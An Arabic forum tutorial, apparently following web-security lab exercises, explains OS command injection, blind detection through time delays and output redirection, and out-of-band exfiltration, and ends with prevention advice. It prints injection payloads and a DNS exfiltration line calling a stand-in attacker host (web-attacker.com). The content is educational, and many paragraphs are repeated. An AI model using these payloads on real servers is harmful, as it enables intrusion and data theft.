






السمعة:
- إنضم17 يونيو 2023
- المشاركات 515
- الحلول 10
- مستوى التفاعل 1,106
- النقاط 93
ما هو حقن الأوامر؟
حقن الأوامر OS Command Injection هي ثغرة أمنية بتسمحلنا بتنفيذ أوامر نظام التشغيل على السيرفر اللي بشغل التطبيق
الثغرة هاي خطيرة لأنها ممكن تمكننا من السيطرة الكاملة على التطبيق والبيانات وحتى اختراق أجزاء ثانية من البنية التحتية للسيرفر
حقن الأوامر OS Command Injection هي ثغرة أمنية بتسمحلنا بتنفيذ أوامر نظام التشغيل على السيرفر اللي بشغل التطبيق
الثغرة هاي خطيرة لأنها ممكن تمكننا من السيطرة الكاملة على التطبيق والبيانات وحتى اختراق أجزاء ثانية من البنية التحتية للسيرفر
كيف بحصل الهجوم؟
مثلًا عنا تطبيق تسوق بستخدم أوامر نظام التشغيل عشان ينفذ مهام معينة أوامر مثل :
stockreport.pl 381 29
عشان يعرض حالة المخزون لمنتج معين
لو التطبيق ما بتحقق من المدخلات Input Validation بنقدر نحقن أوامر إضافية مثلاً لو كتبنا :
& echo aiwefwlguh &
التطبيق بشغل الأوامر هاي :
stockreport.pl & echo aiwefwlguh & 29
هون الأمر echo aiwefwlguh بتم تنفيذه وبظهرلنا الناتج
كود:
https://insecure-website.com/stockStatus?productID=381&storeID=29
عشان يعرض حالة المخزون لمنتج معين
لو التطبيق ما بتحقق من المدخلات Input Validation بنقدر نحقن أوامر إضافية مثلاً لو كتبنا :
& echo aiwefwlguh &
التطبيق بشغل الأوامر هاي :
stockreport.pl & echo aiwefwlguh & 29
هون الأمر echo aiwefwlguh بتم تنفيذه وبظهرلنا الناتج
طرق اكتشاف واستغلال الثغرة
عن طريق أوامر بسيطة بنستخدم أوامر زي echo عشان نتأكد أن الهجوم ناجح
عن طريق تأخير زمني بنستخدم أوامر بتأخر وقت الاستجابة مثل sleep عشان نتأكد من تنفيذ الأمر
عن طريق إعادة توجيه المخرجات بنوجه ناتج الأوامر لملف بأمكاننا نوصله عن طريق المتصفح
عن طريق تفاعلات شبكية بنستخدم أوامر بتتفاعل مع شبكة خارجية عشان نتأكد أنه الهجوم نجح
عن طريق تأخير زمني بنستخدم أوامر بتأخر وقت الاستجابة مثل sleep عشان نتأكد من تنفيذ الأمر
عن طريق إعادة توجيه المخرجات بنوجه ناتج الأوامر لملف بأمكاننا نوصله عن طريق المتصفح
عن طريق تفاعلات شبكية بنستخدم أوامر بتتفاعل مع شبكة خارجية عشان نتأكد أنه الهجوم نجح
الوقاية من الثغرة
عن طريق تجنب استخدم أوامر نظام التشغيل اذا بإمكاننا نستخدم بدائل آمنة بدال ما نستدعي أوامر نظام التشغيل مباشرة
عن طريق التحقق من المدخلات بنتأكد من أنه المدخلات بتكون آمنة وما بتحتوي على أحرف خاصة ممكن تستخدم بالهجوم
عن طريق استخدام مكتبات آمنة بنستخدم مكتبات متخصصة للتعامل مع المهام اللي بتتطلب أوامر نظام التشغيل
عن طريق التحقق من المدخلات بنتأكد من أنه المدخلات بتكون آمنة وما بتحتوي على أحرف خاصة ممكن تستخدم بالهجوم
عن طريق استخدام مكتبات آمنة بنستخدم مكتبات متخصصة للتعامل مع المهام اللي بتتطلب أوامر نظام التشغيل
OS command injection, simple case
بأمكاننا برضو نستخدم
بأمكاننا برضو نستخدم
كود:
1|whoami+%23
Blind OS command injection with time delays
أوامر مفيدة بعد اكتشاف ثغرة حقن الأوامر OS Command Injection
لما نلاقي ثغرة بكون مفيد نستخدم أوامر عشان نجمع معلومات عن النظام
مثلًا أوامر مهمة :
عشان نعرف المستخدم الحالي
على لينكس : whoami
على ويندوز : whoami
معرفة نظام التشغيل
على لينكس : uname -a
على ويندوز : ver
إعدادات الشبكة
على لينكس : ifconfig
على ويندوز : ipconfig /all
الاتصالات الشبكية
على لينكس : netstat -an
على ويندوز : netstat -an
العمليات الجارية
على لينكس : ps -ef
على ويندوز : tasklist
مثلًا أوامر مهمة :
عشان نعرف المستخدم الحالي
على لينكس : whoami
على ويندوز : whoami
معرفة نظام التشغيل
على لينكس : uname -a
على ويندوز : ver
إعدادات الشبكة
على لينكس : ifconfig
على ويندوز : ipconfig /all
الاتصالات الشبكية
على لينكس : netstat -an
على ويندوز : netstat -an
العمليات الجارية
على لينكس : ps -ef
على ويندوز : tasklist
2. ثغرات حقن الأوامر العمياء Blind OS Command Injection :
ببعض الحالات التطبيق ما برجع نتيجة الأوامر اللي بتتنفذ Blind Injection
عشان نكتشف ونستغل هاي الثغرة ممكن نستخدم تقنيات زي تأخير الوقت Time Delay زي ما تعلمنا بالـ sql
مثال:
بنستخدم أمر ping عشان نعمل تأخير :
& ping -c 10 127.0.0.1 &
الأمر هاد بخلي التطبيق يرسل 10 حزم packets لـ 127.0.0.1 اللي بسبب تأخير حوالي 10 ثواني التأخير بكون دليل على نجاح حقن الأمر وبإمكاننا نستخدم || بدال &
عشان نكتشف ونستغل هاي الثغرة ممكن نستخدم تقنيات زي تأخير الوقت Time Delay زي ما تعلمنا بالـ sql
مثال:
بنستخدم أمر ping عشان نعمل تأخير :
& ping -c 10 127.0.0.1 &
الأمر هاد بخلي التطبيق يرسل 10 حزم packets لـ 127.0.0.1 اللي بسبب تأخير حوالي 10 ثواني التأخير بكون دليل على نجاح حقن الأمر وبإمكاننا نستخدم || بدال &
Blind OS command injection with output redirection
استغلال ثغرة Blind OS Command Injection
ببعض الحالات بنقدر نحقن أوامر نظام OS Commands بالتطبيق لكن ما بنشوف النتيجة مباشرة Blind Injection
عشان نتجاوز المشكلة هاي بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب Web Root وبنقدر بعدين نفتحه باستخدام المتصفح
عشان نتجاوز المشكلة هاي بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب Web Root وبنقدر بعدين نفتحه باستخدام المتصفح
مثلًا :
لو التطبيق بستخدم ملفات ثابتة Static Files من المسار var/www/static/ بنقدر نحقن الأمر :
& whoami > /var/www/static/whoami.txt &
الأمر whoami برجع اسم المستخدم الحالي
الرمز > بوجه نتيجة الأمر لملف whoami.txt داخل مجلد الويب
& whoami > /var/www/static/whoami.txt &
الأمر whoami برجع اسم المستخدم الحالي
الرمز > بوجه نتيجة الأمر لملف whoami.txt داخل مجلد الويب
بنسترجع النتيجة عن طريق فتح المتصفح وبندخل على الرابط التالي عشان نشوف نتيجة الأمر :
الملف whoami.txt بكون موجود بمجلد الويب وبنقدر نشوف اسم المستخدم اللي تم تنفيذ الأمر على حسابه
النقاط المهمة:
الـ Blind Command Injection بكون لما نحقن أوامر نظام لكن ما بنشوف النتيجة مباشرة
الـ توجيه النتيجة لملف بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب
الـ استرجاع النتيجة بنقدر نسترجع الملف باستخدام المتصفح ونشوف نتيجة الأمر
الـ توجيه النتيجة لملف بنقدر نوجه نتيجة الأمر لملف داخل مجلدات الويب
الـ استرجاع النتيجة بنقدر نسترجع الملف باستخدام المتصفح ونشوف نتيجة الأمر
Blind OS command injection with out-of-band interaction
تقنيات الـ Out-of-Band (OAST)
عشان نتأكد إنه الأوامر اللي دخلناها اشتغلت
بنستخم تقنيات الـ Out-of-Band يعني بنحاول نسبب تفاعل شبكي network interaction مع سيرفر تابع النا
مثال على الأمر اللي ممكن نستخدمه:
& nslookup kgji2ohoyw.web-attacker.com &
هون الأمر nslookup بعمل عملية DNS lookup للدومين kgji2ohoyw.web-attacker.com
بقدر اراقب إذا تمت عملية الـ DNS lookup وبالتالي بنتأكد إنه الأمر اشتغل
عشان نقدر نحل هاد التحدي لازم نفهم اشي بالـ Burp
بنستخم تقنيات الـ Out-of-Band يعني بنحاول نسبب تفاعل شبكي network interaction مع سيرفر تابع النا
مثال على الأمر اللي ممكن نستخدمه:
& nslookup kgji2ohoyw.web-attacker.com &
هون الأمر nslookup بعمل عملية DNS lookup للدومين kgji2ohoyw.web-attacker.com
بقدر اراقب إذا تمت عملية الـ DNS lookup وبالتالي بنتأكد إنه الأمر اشتغل
عشان نقدر نحل هاد التحدي لازم نفهم اشي بالـ Burp
شو هو الـ Burp Collaborator؟
أداة بنستخدمها عشان نكتشف الثغرات اللي بتكون مش واضحة Invisible Vulnerabilities
الثغرات هاي بتكون ما بتسبب أخطاء واضحة أو تغييرات بناتج التطبيق أو حتى تأخير ملحوظ
الثغرات هاي بتكون ما بتسبب أخطاء واضحة أو تغييرات بناتج التطبيق أو حتى تأخير ملحوظ
كيف بتشتغل؟
عن طريق إرسال Payloads : برسل الـ Burp Collaborator طلبات بتحتوي على دومينات فرعية subdomains خاصة فيه (السيرفر تاعه) للهدف
عن طريق تفاعل التطبيق : إذا كان فيه ثغرة التطبيق ممكن يتفاعل مع سيرفر الـ Burp Collaborator
عن طريق اكتشاف التفاعل : الـ Burp بفحص سيرفر الـ Collaborator عشان يشوف إذا حصل تفاعل من التطبيق
عن طريق تفاعل التطبيق : إذا كان فيه ثغرة التطبيق ممكن يتفاعل مع سيرفر الـ Burp Collaborator
عن طريق اكتشاف التفاعل : الـ Burp بفحص سيرفر الـ Collaborator عشان يشوف إذا حصل تفاعل من التطبيق
3. استخداماته :
بالـ Burp Suite Professional : بنقدر نستخدمه يدويًا عشان نختبر وجود ثغرات
بالـ Burp Scanner : بكون تلقائي ويتم استخدامه لاكتشاف الثغرات أثناء الفحص
بالـ إضافات Extensions : بعض الإضافات بتكون بتستخدم Burp Collaborator لاكتشاف الثغرات
وبالفيديو بوضح طريقه استخدامه لحل التحدي
بالـ Burp Scanner : بكون تلقائي ويتم استخدامه لاكتشاف الثغرات أثناء الفحص
بالـ إضافات Extensions : بعض الإضافات بتكون بتستخدم Burp Collaborator لاكتشاف الثغرات
وبالفيديو بوضح طريقه استخدامه لحل التحدي
Blind OS command injection with out-of-band data exfiltration
الـ Out-of-Band Channel :
القناة الخارجية بتكون طريقة لسرقة بيانات من السيرفر عن طريق إرسالها لسيرفر تابع النا
بالمثال بنستخدم أمر nslookup عشان يرسل نتيجة أمر whoami (اللي بعرضلنا اسم المستخدم الحالي) لسيرفر تابع النا
بالمثال بنستخدم أمر nslookup عشان يرسل نتيجة أمر whoami (اللي بعرضلنا اسم المستخدم الحالي) لسيرفر تابع النا
مثال الكود
كود:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
هون الـ whoami بعرض اسم المستخدم (مثل wwwuser)
النتيجة بتكون مرسلة كجزء من اسم نطاق (domain) لسيرفر المهاجم
كود:
wwwuser.kgji2ohoyw.web-attacker.com
كيف بشتغل؟
بنستخدم ثغرة بالتطبيق عشان ننفذ الأوامر على السيرفر
نتيجة الأمر whoami بتنرسل عبر طلب الـ DNS لسيرفرنا المهاجم اللي بسمحلنا نسرق معلومات
نتيجة الأمر whoami بتنرسل عبر طلب الـ DNS لسيرفرنا المهاجم اللي بسمحلنا نسرق معلومات
النقاط المهمة:
القناة الخارجية هي طريقة لسرقة بيانات عن طريق إرسالها لسيرفر تابعلنا
بنستخدم الـ nslookup عشان نرسل نتيجة الأوامر مثل whoami عبر طلب الـ DNS
سرقة معلومات المهاجم بنكون قادرين نشوف النتيجة بسجلات السيرفر تاعنا
بنستخدم الـ nslookup عشان نرسل نتيجة الأوامر مثل whoami عبر طلب الـ DNS
سرقة معلومات المهاجم بنكون قادرين نشوف النتيجة بسجلات السيرفر تاعنا
أشياء مهمة
طرق حقن أوامر نظام التشغيل OS Command Injection :
الرموز المستخدمة:
رموز زي
بتشتغل على أنظمة ويندوز و Unix-based
رموز زي
بتشتغل بس على أنظمة الـ Unix-based
الرموز زي
بتستخدم لتنفيذ أوامر داخلية Inline Execution على أنظمة الـ Unix-based
حقن الأوامر داخل علامات الاقتباس :
إذا كان الإدخال اللي بنتحكم فيه بكون داخل علامات اقتباس " أو ' بكون لازم نوقف الاقتباس قبل ما نحقن الأوامر
رموز زي
كود:
&
&&
|
||
رموز زي
كود:
;
Newline (0x0a or \n)
الرموز زي
كود:
`
injected command `
$(
injected command )
حقن الأوامر داخل علامات الاقتباس :
إذا كان الإدخال اللي بنتحكم فيه بكون داخل علامات اقتباس " أو ' بكون لازم نوقف الاقتباس قبل ما نحقن الأوامر
الوقاية من هجمات حقن الأوامر :
أفضل حل نتجنب اننا نستخدم أوامر نظام التشغيل من الكود الخاص بالتطبيق
لكن إذا كان لازم نستخدم أوامر نظام التشغيل :
بنعمل تحقق قوي على المدخلات Input Validation
بنستخدم قائمة بالقيم المسموحة Whitelist
بنتأكد إنه المدخلات بتكون أرقام أو أحرف أبجدية رقمية فقط
نصيحة مهمة !!
ما نحاول نعمل Black list ونحط أوامر ما تتنفذ
دائمًا أفضل نعمل قائمة white list يعني نسمح بس الأوامر اللي مسموح تتنفذ
أعطوني رأيكم هاي الطريقه أفضل
كتابه وصور للشرح النظري
فيديو لحل الابات
ولا شرح كل الخطوات بالصور ؟
لكن إذا كان لازم نستخدم أوامر نظام التشغيل :
بنعمل تحقق قوي على المدخلات Input Validation
بنستخدم قائمة بالقيم المسموحة Whitelist
بنتأكد إنه المدخلات بتكون أرقام أو أحرف أبجدية رقمية فقط
نصيحة مهمة !!
ما نحاول نعمل Black list ونحط أوامر ما تتنفذ
دائمًا أفضل نعمل قائمة white list يعني نسمح بس الأوامر اللي مسموح تتنفذ
أعطوني رأيكم هاي الطريقه أفضل
كتابه وصور للشرح النظري
فيديو لحل الابات
ولا شرح كل الخطوات بالصور ؟
التعديل الأخير بواسطة المشرف: